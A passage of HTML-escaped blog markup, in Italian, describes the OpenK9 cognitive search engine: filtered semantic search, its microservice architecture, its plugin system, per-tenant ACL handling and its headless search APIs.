        &lt;source srcSet=&quot;/static/f1b4bea937f98f2278bbef47e54ccae5/c85cb/search2.webp 300w,/static/f1b4bea937f98f2278bbef47e54ccae5/e88ff/search2.webp 600w,/static/f1b4bea937f98f2278bbef47e54ccae5/92f8c/search2.webp 1200w,/static/f1b4bea937f98f2278bbef47e54ccae5/bd7e0/search2.webp 1593w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/f1b4bea937f98f2278bbef47e54ccae5/5a46d/search2.png 300w,/static/f1b4bea937f98f2278bbef47e54ccae5/0a47e/search2.png 600w,/static/f1b4bea937f98f2278bbef47e54ccae5/c1b63/search2.png 1200w,/static/f1b4bea937f98f2278bbef47e54ccae5/efeb1/search2.png 1593w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 10 - Ricerca con filtri&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/f1b4bea937f98f2278bbef47e54ccae5/c1b63/search2.png&quot; title=&quot;Figura 10 - Ricerca con filtri&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 10 - Ricerca con filtri&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;In questo l&amp;#x27;obiettivo è quello di cercare solo ed esclusivamente i contenuti catalogati come &lt;em&gt;Business Plan&lt;/em&gt; e relativi all&amp;#x27;organizzazione &lt;em&gt;Acme Inc&lt;/em&gt;.
Ne scaturisce una ricerca fatta di filtri semantici e non semplicemente una ricerca di tipo full text. La conseguenza di ciò è una maggior precisione nei risultati.&lt;/p&gt;&lt;h2 id=&quot;caratteristiche-architetturali&quot;&gt;Caratteristiche architetturali&lt;/h2&gt;&lt;p&gt;Opportune scelte architetturali sono state fatte nella creazione di OpenK9, che ne fanno un prodotto con determinate caratteristiche.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/f779a5923336e4ac9989989735d3c01d/00602/features1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:51%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;203\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20203\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M53%2010l-2%204c0%204%203%206%207%204h2l4%201c3%200%203%200%203-4s-2-6-5-5c-3%200-2%202%201%202l3%201-4%201c-4%202-7%203-8%201l2-1c3%201%204-3%201-4h-4m38%201h-2l-2-1c-3%200-3%200-3%205s2%206%202%201c1-4%203-5%203-1%201%203%205%205%207%204%202-2%201-3-1-3h-3c0-2%208-2%209%200%201%201%201%201-1%201-1%200-2%200-1%201%200%202%204%201%205-1%201-1%201-1-1-3s-3-3%200-2l1-1c0-1-3-2-5-1-1%202-2%202-4%200-1-1-2-1-4%201M7%2072c0%2018%200%2021%202%2021l1-21-1-22c-2%200-2%203-2%2022m234-8l-4%202v12l4%202c4%202%205%202%209%200l5-2V66l-5-2c-4-2-5-2-9%200M38%2068c-5%207-3%2010%207%2010%208%200%2011-1%2011-4%200-2-5-8-7-8l-2-1c-2-2-6-1-9%203m4-2l-3%204-2%204c1%202%2016%203%2017%200l-1-3-2-2-2-1-3-2h-4M7%20123c0%2014%201%2021%202%2021s1-42-1-43l-1%2022m239-9l-2%203c0%202%200%203-2%202-4%200-4%202-1%205%204%203%204%208%201%208-1%201%200%201%203%201s4%200%203-1c-3%200-4-2-2-2s5-5%204-6l-3-1c-3%201-3-3%200-3%202-1%204-5%203-6h-4m-141%2040c-1%203%200%2042%202%2043l1-22-1-22-2%201m33%2014c-5%205-3%2010%203%2010%203%200%204%201%206%203%204%204%207%202%203-3-2-1-3-4-3-5%200-6-6-8-9-5\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/f779a5923336e4ac9989989735d3c01d/c85cb/features1.webp 300w,/static/f779a5923336e4ac9989989735d3c01d/e88ff/features1.webp 600w,/static/f779a5923336e4ac9989989735d3c01d/92f8c/features1.webp 1200w,/static/f779a5923336e4ac9989989735d3c01d/942b6/features1.webp 1671w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/f779a5923336e4ac9989989735d3c01d/5a46d/features1.png 300w,/static/f779a5923336e4ac9989989735d3c01d/0a47e/features1.png 600w,/static/f779a5923336e4ac9989989735d3c01d/c1b63/features1.png 1200w,/static/f779a5923336e4ac9989989735d3c01d/00602/features1.png 1671w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 11 - Caratteristiche architetturali&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/f779a5923336e4ac9989989735d3c01d/c1b63/features1.png&quot; title=&quot;Figura 11 - Caratteristiche architetturali&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 11 - Caratteristiche architetturali&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Tra le diverse caratteristiche, quella sicuramente più importante è quella della scalabilità. Un motore di ricerca cognitivo deve essere in
grado di scalare facilmente, per gestire in maniera efficiente i diversi carichi a cui questo può essere sottoposto nel tempo tramite l&amp;#x27;ingestion
di dati.&lt;/p&gt;&lt;p&gt;La qualità della scalabilità è data soprattutto dall&amp;#x27;architettura a &lt;em&gt;&lt;a href=&quot;https://martinfowler.com/articles/microservices.html&quot;&gt;microservizi&lt;/a&gt;&lt;/em&gt; su cui OpenK9 si basa, e dalla comunicazione totalmente asincrona
che c&amp;#x27;è tra i diversi servizi del sistema.&lt;/p&gt;&lt;p&gt;Sul sito di OpenK9 è presente la documentazione architetturale con dettagli sui diversi componenti che compongono il sistema.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/b649174966f5602c534c87a8147aca34/e2cbf/architecture.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:39.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;159\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20159\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M163%203c-3%202-3%2026-1%2028a248%20248%200%200051-1c1%200%202-2%202-12%200-12%200-13%202-13l-1-1-2-2c-2-2-49-1-51%201m-94%207c0%202%200%202-8%202h-5l8%201h6l-8%201-7%201v15h33c0-3%200-7%202-8v-3l-2-2c0-2-1-3-8-3-8-1-8-1-3-1l8-1c3-1%203-1%203%201%201%202%201%202%201-1V9l-4%202H73l-2-2c-2-1-2%200-2%201m161%204c-2%202-1%2016%200%2019s4%204%203%202%201-2%209-2%2010%200%2010-2V15c-1-1-1%202-1%208v9h-20V15l10-1%2011-1h-11l-11%201m5%202c-2%203-1%206%202%206%202%200%202%200%201%202-2%203%200%206%203%206l4-1-1-1c-1%200-1-5%201-6l2-1v-3c0-3%200-3-6-3l-6%201m74%202l-1%2010%201%2010h9l10%201c2%201%202-18%200-21%200-1-17-2-19%200M126%2043v22c-2%202-1%2021%201%2024%203%203%2034%203%2035-1l2-2%203-1h-3c-3%200-3-7%200-7v-1c-2-1-2-2-2-6%200-6-1-7-11-7-6%200-7%200-7-2l-1-2v2c-1%202-2%202-6%202h-5V42l-3-1c-2%200-3%200-3%202m7-1v7l1%205h28V41h-14l-15%201m118%208v9l1%207h4c3%200%204%201%204%202l1%201%201-1c0-2%201-2%204-2%205%200%205-1%205-9%200-9%200-9-10-9-8%200-9%200-10%202m44%201l-1%2010v9h13l-6%201-5%201v20h6l7-1c2-2%201-18%200-19v-3c1-1%202-16%200-18h-14m-6%203l-1%2018c0%2016%201%2017%203%2017%201%200%202-1%202-17l-1-18h-3m22%200v23l1%2021h6V88a1935%201935%200%20002-22h3l-3-1c-2%200-2-1-2-6s-1-6-3-6l-4%201M87%2056l-1%2013%201%2010h7V68c0-11-1-14-4-14l-3%202m105%2012v12h7V57l-4-1h-3v12m17-11c-2%200-2%201-2%2012v11h10V69l-1-12h-7m157%201c-2%201-3%2052-1%2055%201%202%202%202%2014%202l14-1c2-2%202-55%200-57s-25-1-27%201M95%2058v4c0%202%201%203%2010%203h10v-7l-10-1-10%201m72%203c-1%201-2%204-1%206l-1%203v2l5%201c2%200%203%200%202%202h1l2-1%204-1c6%200%207-2%207-10v-4l-9-1c-8%200-8%200-10%203m174-1c-3%201-2%201%204%201h7v52h-14V87l-1-20v47h8c10%200%209%200%209-15%200-10%200-11%202-12h2l-2-1c-2%200-2-1-2-12l-1-13c-1-1-8-2-12-1M5%2062L4%2076c0%2012%200%2013%202%2015%203%203%203%203%2012%203h10v-8c1-15%200-22-3-23l-2-2c0-2-18-1-18%201m47%201l-1%207-1%206h-2l-2%201h4l1%207%201%206a36%2036%200%20006%200l1-14V63l-4-1-3%201m8%200v14l1%2013h15V77l-1-14c-2-1-14-2-15%200m279%2024v25h12V62h-12v25M95%2068v5l1%203h19v-8l-10-1-10%201m142%2011v6l1%2010c0%205%200%206%201%204%200-4%200-5%201-4l11%201h9v7h-11l-10%201h11c9%200%2011%200%2011-2V87l1-2c2-1%203-4%201-6h-26M87%2082v6l1%205h27V82l-14-1-14%201m104%200l-3%203-2%201h2c2%200%203%201%203%202v11c-1%204%201%205%2012%206%2016%200%2015%201%2015-12V82l-13-1-14%201m37%204l-1%207v7h8V86l-4-1-3%201m39%200l-2%201-1%207%201%208h7v-8l-1-7-2-1-1-1-1%201m-136%207v6l14%201h12v-7l-13-1-13%201m-80%201c-1%205%200%206%2012%206h12v-6l-12-1-12%201m235%200v6l1%205h23V94l-12-1-12%201M88%2099v3h27v-6l-14-1H88v4m20%2027c0%202-3%202-27%202-27%200-29%200-32%203-3%202-3%207%200%2010s232%203%20235%200c2-3%202-8-1-11-3-2-4-2-23-2-12%200-19%200-18-1l-1-1a309%20309%200%2001-42%202c-37%200-42%200-42-2h-1v1l-5%201c-3%200-5%200-4-1l-1-1c-1%200-2%200-1%201l-4%201-5-1h-2l-13%201-12-1v-1h-1\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/b649174966f5602c534c87a8147aca34/c85cb/architecture.webp 300w,/static/b649174966f5602c534c87a8147aca34/e88ff/architecture.webp 600w,/static/b649174966f5602c534c87a8147aca34/92f8c/architecture.webp 1200w,/static/b649174966f5602c534c87a8147aca34/62ed8/architecture.webp 1800w,/static/b649174966f5602c534c87a8147aca34/b3a2e/architecture.webp 2138w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/b649174966f5602c534c87a8147aca34/5a46d/architecture.png 300w,/static/b649174966f5602c534c87a8147aca34/0a47e/architecture.png 600w,/static/b649174966f5602c534c87a8147aca34/c1b63/architecture.png 1200w,/static/b649174966f5602c534c87a8147aca34/d61c2/architecture.png 1800w,/static/b649174966f5602c534c87a8147aca34/e2cbf/architecture.png 2138w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 12 - Architettura OpenK9&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/b649174966f5602c534c87a8147aca34/c1b63/architecture.png&quot; title=&quot;Figura 12 - Architettura OpenK9&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 12 - Architettura OpenK9&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h2 id=&quot;caratteristiche-funzionali&quot;&gt;Caratteristiche funzionali&lt;/h2&gt;&lt;p&gt;OpenK9 implementa anche precise caratteristiche funzionali.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/51903dcd04c7ed8367e5d4208ddfee74/7e21b/features2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:52.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;211\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20211\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M66%209c-1%202-1%202-3%201s-5-1-5%201l1%201c3-1%203%201%200%202-3%202-2%204%202%205%204%200%204%200%204-4%200-3%200-4%201-3l1%204c0%202%200%203%202%203l2-1-1-1c-2%200-1-5%201-6l1%203c0%204%201%205%205%205%203%200%203%200%203-5%200-6-2-7-2-1-1%205-3%205-3%200%200-3-1-3-3-4l-3-1c0-2-1-1-3%201m16%205l1%205%201-3%202-4c2-1%202-1%202%201-2%203%201%206%208%206%206%200%207-1%207-3%200-1%200-2-2-3l-2-1h2l2-1c-1-2-4-2-5-1-2%202-2%202-3%200h-7c-4-2-6-1-6%204M3%2073c0%2019%200%2022%202%2022l1-22-1-22c-2%200-2%203-2%2022m205%200c0%2019%200%2022%202%2022l1-22-1-22c-2%200-2%203-2%2022m35-4c0%205%200%206%202%209%203%205%204%205%206%200%203-4%203-5%202-8-1-5-3-6-4-2%200%202-2%202-2-1%200-4-3-2-4%202M32%2069c0%202%201%202%203%202l5%201h-8v4c0%204%200%204%203%204l5-2%201-2%201%202c1%202%209%203%2011%201V68c-2-2-10-1-11%201l-1%202-1-2c-3-3-8-3-8%200M4%20104a210%20210%200%20001%2044l1-22c0-20%200-24-2-22m205%201a210%20210%200%20001%2044l1-22c0-20%200-24-2-22M39%20117c-8%205-6%2018%203%2018%203%200%206-3%206-5-1-1%201-3%202-6%203-4%203-7%200-5-1%201-2%200-4-1-2-2-4-2-7-1m208%201h1c3%200%203%200-2%205l-2%204%204-4c4-4%206-2%202%203-2%202-9%205-8%202v-1c-1%200-2-1-1-2h-1v3c1%202%201%202-1%203l-2%203c0%202%201%202%208%202%2011%200%2016-3%2012-7v-2c2-2%201-3-1-2v-1c1-1%201-1-1-1-1%201-2%200-2-1l-1-3%201-1h1l-1-2-1%201h-1c-1-1-2-1-4%201m-143%2061c0%2017%201%2022%202%2023l1-22c0-20%200-23-2-23l-1%2022m39-8l-3%202c-3%200-7%204-7%207l2%204c5%206%2019%203%2019-4%200-3-4-7-7-7-2%200-3-1-3-2h-1m-6%209c0%205%201%206%207%206%205%200%206-1%206-6v-5h-13v5\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/51903dcd04c7ed8367e5d4208ddfee74/c85cb/features2.webp 300w,/static/51903dcd04c7ed8367e5d4208ddfee74/e88ff/features2.webp 600w,/static/51903dcd04c7ed8367e5d4208ddfee74/92f8c/features2.webp 1200w,/static/51903dcd04c7ed8367e5d4208ddfee74/4dd3a/features2.webp 1626w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/51903dcd04c7ed8367e5d4208ddfee74/5a46d/features2.png 300w,/static/51903dcd04c7ed8367e5d4208ddfee74/0a47e/features2.png 600w,/static/51903dcd04c7ed8367e5d4208ddfee74/c1b63/features2.png 1200w,/static/51903dcd04c7ed8367e5d4208ddfee74/7e21b/features2.png 1626w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 13 - Caratteristiche funzionali&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/51903dcd04c7ed8367e5d4208ddfee74/c1b63/features2.png&quot; title=&quot;Figura 13 - Caratteristiche funzionali&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 13 - Caratteristiche funzionali&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Un sistema plugable e l&amp;#x27;elevato livello di personalizzazione sono in particolare due aspetti fondamentali che caratterizzano OpenK9.
Tramite la definizione di plugin appositi è possibile estendere in maniera semplice le capacità funzionali di OpenK9.&lt;br/&gt;
Per ogni nuova sorgente dati può essere definito un opportuno plugin, con l&amp;#x27;obiettivo di definire aspetti come:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;la connessione alla sorgente dati esterna;&lt;/li&gt;&lt;li&gt;la forma del dato indicizzato;&lt;/li&gt;&lt;li&gt;l&amp;#x27;attività di arricchimento da svolgere sul dato;&lt;/li&gt;&lt;li&gt;la presentazione del dato a frontend.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In questo modo è possibile aggiungere in maniera totalmente plugable nuove sorgenti dati, che saranno poi gestite e trattate dal
sistema secondo le logiche personalizzate definite dal plugin.&lt;/p&gt;&lt;p&gt;Per approfondire il tema, leggere la documentazione &lt;a href=&quot;https://www.openk9.io/docs/create-plugin-using-java/&quot;&gt;Create a plugin using Java&lt;/a&gt;
pubblicata sul sito di &lt;a href=&quot;https://www.openk9.io&quot;&gt;OpenK9&lt;/a&gt;&lt;/p&gt;&lt;h2 id=&quot;altre-caratteristiche-rilevanti&quot;&gt;Altre caratteristiche rilevanti&lt;/h2&gt;&lt;h3 id=&quot;gestione-delle-acl-access-control-list&quot;&gt;Gestione delle ACL (access-control list)&lt;/h3&gt;&lt;p&gt;Un motore di ricerca cognitiva come OpenK9 accentra i contenuti di un&amp;#x27;intera organizzazione o di più organizzazioni sotto un&amp;#x27;unica base dati. &lt;/p&gt;&lt;p&gt;Il confinamento a livello di organizzazione è normalmente gestito &lt;strong&gt;differenziando i dati su indici separati per tenant&lt;/strong&gt;. Quindi, ogni organizzazione
potrà accedere solo ed esclusivamente a dati legati al proprio tenant.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Come viene gestito invece l&amp;#x27;accesso ai da parte di utenti appartenenti alla stessa organizzazione?&lt;/strong&gt; Teoricamente su uno stesso indice potrebbero
essere presenti contenuti visibili ad un utente ma non visibili ad un altro.&lt;/p&gt;&lt;p&gt;OpenK9 anche qui va a gestire le logiche di controllo degli accessi (o &lt;a href=&quot;https://en.wikipedia.org/wiki/Access-control_list&quot;&gt;ACL&lt;/a&gt;) in maniera plugable; questo perché sorgenti dati diverse possono avere logiche
differenti.&lt;/p&gt;&lt;p&gt;Nel caso di un portale Liferay la gestione è di tipo Role-based, nel caso di un server Imap invece le logiche sono legate a mittenti, destinatari, ecc...&lt;/p&gt;&lt;p&gt;Per questo motivo, per ogni sorgente dati, è possibile definire queste logiche nel relativo plugin.&lt;/p&gt;&lt;p&gt;Secondo l&amp;#x27;opportuna logica, OpenK9 indicizza non solo il contenuto o i metadati, ma anche le informazioni per la gestione degli accessi.
Queste informazioni saranno poi utilizzate per applicare il controllo degli accessi direttamente a tempo di ricerca,
permettendo così una gestione molto efficiente e garantendo dei tempi di ricerca molto rapidi.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3a89c547c5ee8189e009543cb44a9702/565cc/acl.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:59.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;239\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20239\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M56%2013a1357%201357%200%2001-1%209l3-1c0-1%201-2%203-2l3%202c0%201%204%202%204%200l-2-7c-2-5-3-7-5-7s-3%201-5%206m15-4c-6%204-2%2013%206%2013l4-2c0-2%200-2-2-1-4%200-6-1-6-4%200-4%202-5%206-5%202%201%202%201%202-1-1-2-7-3-10%200m30-1v8c0%205%201%206%203%206s2%200%202-3c0-2%200-3%202-3s3%201%203%203%200%203%202%203%202%200%202-7c0-8%200-8-2-8s-2%201-2%203c0%201-1%202-3%202-2%201-2%200-2-2%200-3-4-4-5-2m50%201c0%202%200%203-3%202-3%200-5%202-5%206s1%205%207%205h5v-8c0-6%200-7-2-7l-2%202m117%206c0%206%200%207%202%207%201%200%202-1%202-4%201-5%203-5%203%200%200%203%200%204%202%204%203%200%203-9%200-11h-4c-1%201-1%201-1-1s-1-3-2-3c-2%200-2%201-2%208m-150-4c-3%201-1%203%202%202h4l-4%201c-6%203-5%208%203%208h5v-5c0-5-4-8-10-6m55%200h-4v5c0%205%201%206%203%206%201%200%202-1%202-4%200-6%203-5%203%200%200%203%200%204%202%204s2-1%202-4c0-4-2-8-4-8l-4%201m11%201c-2%201-3%206%200%208v2c-2%201%200%204%203%204%205%200%207-2%207-9%200-6%200-6-2-6l-4-1-4%202m28%200c-2%202-1%204%203%206%202%201%202%201-1%201-2-1-3%200-3%201%200%203%208%202%2010-1l1-1c0%204%2010%205%2011%202%200-2%200-2-3-1l-4-1%201-1c6%201%208-2%204-6-4-2-7-1-9%203l-1%203-4-2-3-2h6c0-3-6-4-8-1m24-1c-3%201-1%203%202%202h4l-4%201c-7%203-5%208%203%208h5v-4c0-6-5-9-10-7m15%200c-3%200-3%200-3%206%200%204%200%205%202%205%201%200%202-1%202-4%201-4%204-6%204-2%200%203%203%206%207%206%202%200%203%200%203-2%200-1-1-2-2-1-2%200-3%200-3-2-1-2%201-4%204-3l1-1c0-4-8-3-9%200-1%201-1%200-1-1l-1-2-4%201M17%2031l130%201a6129%206129%200%2001138%200c-3-2-263-3-268-1m3%206c-3%201-8%208-8%2011%200%206%202%2013%204%2013%201%200%204-4%204-6s1-2%203-2c3%200%203%200%203-4l1-4%201%201v1h3c4%202%204%204-1%206-4%201-4%201-2%207%201%206%203%206%208%202%2013-11%200-32-16-25m0%203c-4%202-5%205-6%209-1%203%201%209%202%209%202-1%203-7%202-8-2-1%200-5%202-7%203-1%203-1%207%201l7%202c3%201%202%208-2%208h-2v5c0%205%202%205%206%201%208-8%203-22-9-22l-7%202m281%2039l-1%2032v2l1%2010v10H164a912%20912%200%2001-138-2c-2%202-4%202-14%202H0v106h200l151-1h-49v-93a3455%203455%200%2000-1-66M121%2058l-1%2014-1%2014v1l1%2015v14h108v-14c0-10%201-14%202-14%202%200%202-2%200-3-2%200-2-1-2-14V57h-53l-54%201m0%2029v28h106V59H121v28M4%2071v5c1%203%206%203%208%200%201-1%201-1%201%202l1%203%201-1%202-2c2%200%203-1%203-3s-1-3-4-3l-5-2c-2-2-5-1-7%201m265%201l-3%201c-3%201-3%201-4%207v6h17v-6c0-6%200-6-4-7l-3-1-1-1-2%201m90%2065c-7%205-8%2016-3%2024l4%205c1%201%200%201-3%202-5%201-9%205-9%208%200%202%201%202%2019%202%2016%200%2018%200%2018-2s-5-7-10-8l-4-1%202-2c8-6%209-20%203-27-4-4-13-4-17-1m-205%2020v16h23v-15c1-18%201-18-13-18h-10v17m47-1v17h23v-15c0-18%200-18-13-18h-10v16m47%201v16h24v-14c0-19%200-19-14-19h-10v17m-235%200v16h23v-15l-1-16-12-1H13v16m47%200v16h23v-14c0-18%200-18-13-18H60v16m46%200v16h24v-14c0-18%200-18-14-18h-10v16m-38-7c-3%201-3%202-3%206%200%207%204%2010%2010%209l3-1v-14l-4-1-6%201m138%203c-2%203-3%206-1%208v2c-2%203%200%204%203%202l5-1c4%200%208-4%208-6%200-6-10-9-15-5m-40%2059v25h93v-51h-93v26m-141-1v23h92v-45H25v22\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3a89c547c5ee8189e009543cb44a9702/c85cb/acl.webp 300w,/static/3a89c547c5ee8189e009543cb44a9702/e88ff/acl.webp 600w,/static/3a89c547c5ee8189e009543cb44a9702/92f8c/acl.webp 1200w,/static/3a89c547c5ee8189e009543cb44a9702/62ed8/acl.webp 1800w,/static/3a89c547c5ee8189e009543cb44a9702/53d81/acl.webp 1806w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3a89c547c5ee8189e009543cb44a9702/5a46d/acl.png 300w,/static/3a89c547c5ee8189e009543cb44a9702/0a47e/acl.png 600w,/static/3a89c547c5ee8189e009543cb44a9702/c1b63/acl.png 1200w,/static/3a89c547c5ee8189e009543cb44a9702/d61c2/acl.png 1800w,/static/3a89c547c5ee8189e009543cb44a9702/565cc/acl.png 1806w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 14 - Gestione delle ACL&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3a89c547c5ee8189e009543cb44a9702/c1b63/acl.png&quot; title=&quot;Figura 14 - Gestione delle ACL&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 14 - Gestione delle ACL&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;api-headless-di-ricerca&quot;&gt;Api Headless di ricerca&lt;/h3&gt;&lt;p&gt;OpenK9 offre API headless per la ricerca sui contenuti e per tutte le attività di contorno, quali auto completamento e comprensione della query.&lt;/p&gt;&lt;p&gt;Per maggiori informazioni esplorare la documentazione sulle &lt;a href=&quot;https://www.openk9.io/docs/api/searcher-api&quot;&gt;API&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;La natura headless delle API concede la possibilità di interfacciarsi a OpenK9 in maniera semplice e con molteplici strumenti di interfaccia, come per esempio:
frontend standalone, portali web, chatbot piuttosto che assistenti vocali.&lt;/p&gt;&lt;p&gt;Anche le API di ricerca sono pensate per essere estese e personalizzate, in modo da raffinare e perfezionare le opzioni di ricerca in base al contesto
e al dominio.&lt;/p&gt;&lt;p&gt;È possibile aggiungere nuove funzioni di ricerca per applicare nuove logiche di ricerca, oltre a potere estendere le funzionalità di comprensione
